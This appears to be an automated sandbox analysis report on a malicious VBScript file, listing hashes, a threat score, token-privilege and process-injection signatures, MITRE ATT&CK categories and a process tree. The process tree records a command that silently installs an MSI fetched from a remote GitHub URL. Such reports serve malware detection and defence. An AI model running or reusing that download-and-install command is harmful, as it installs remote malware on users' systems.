23723f9b4239194a21bf0df559f9e9df8aec1399899346311c09cdcd91a9f1b0

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
30-11-2024 00:28

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General

Target

secondaryTask.vbs
Size

876B
MD5

183d51767fe58e2bd256688315d25709
SHA1

2c0f959b61081a10a085ad8e8f8741a69e2d9934
SHA256

23723f9b4239194a21bf0df559f9e9df8aec1399899346311c09cdcd91a9f1b0
SHA512

f5c06582247afab9d6f3c60b62334ed93d4ee7e447b0299e8959dbec5620def6fb1a8ea17e3c3537b4e7ff2c6661b5396e78e1688ec6267076b01068572e76ed

Score

7^/10

Malware Config

Signatures

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
2540	msiexec.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1164	msiexec.exe
6	1164	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2540	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2540	msiexec.exe
Token: SeRestorePrivilege	1164	msiexec.exe
Token: SeTakeOwnershipPrivilege	1164	msiexec.exe
Token: SeSecurityPrivilege	1164	msiexec.exe
Token: SeCreateTokenPrivilege	2540	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2540	msiexec.exe
Token: SeLockMemoryPrivilege	2540	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2540	msiexec.exe
Token: SeMachineAccountPrivilege	2540	msiexec.exe
Token: SeTcbPrivilege	2540	msiexec.exe
Token: SeSecurityPrivilege	2540	msiexec.exe
Token: SeTakeOwnershipPrivilege	2540	msiexec.exe
Token: SeLoadDriverPrivilege	2540	msiexec.exe
Token: SeSystemProfilePrivilege	2540	msiexec.exe
Token: SeSystemtimePrivilege	2540	msiexec.exe
Token: SeProfSingleProcessPrivilege	2540	msiexec.exe
Token: SeIncBasePriorityPrivilege	2540	msiexec.exe
Token: SeCreatePagefilePrivilege	2540	msiexec.exe
Token: SeCreatePermanentPrivilege	2540	msiexec.exe
Token: SeBackupPrivilege	2540	msiexec.exe
Token: SeRestorePrivilege	2540	msiexec.exe
Token: SeShutdownPrivilege	2540	msiexec.exe
Token: SeDebugPrivilege	2540	msiexec.exe
Token: SeAuditPrivilege	2540	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2540	msiexec.exe
Token: SeChangeNotifyPrivilege	2540	msiexec.exe
Token: SeRemoteShutdownPrivilege	2540	msiexec.exe
Token: SeUndockPrivilege	2540	msiexec.exe
Token: SeSyncAgentPrivilege	2540	msiexec.exe
Token: SeEnableDelegationPrivilege	2540	msiexec.exe
Token: SeManageVolumePrivilege	2540	msiexec.exe
Token: SeImpersonatePrivilege	2540	msiexec.exe
Token: SeCreateGlobalPrivilege	2540	msiexec.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1924 wrote to memory of 2540	1924	WScript.exe	30
PID 1924 wrote to memory of 2540	1924	WScript.exe	30
PID 1924 wrote to memory of 2540	1924	WScript.exe	30
PID 1924 wrote to memory of 2540	1924	WScript.exe	30
PID 1924 wrote to memory of 2540	1924	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\secondaryTask.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1924
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i https://github.com/Kroby5444/Jim/raw/refs/heads/main/Slf.msi /qn
  2⤵
  - Use of msiexec (install) with remote resource
  - Suspicious use of AdjustPrivilegeToken
  PID:2540

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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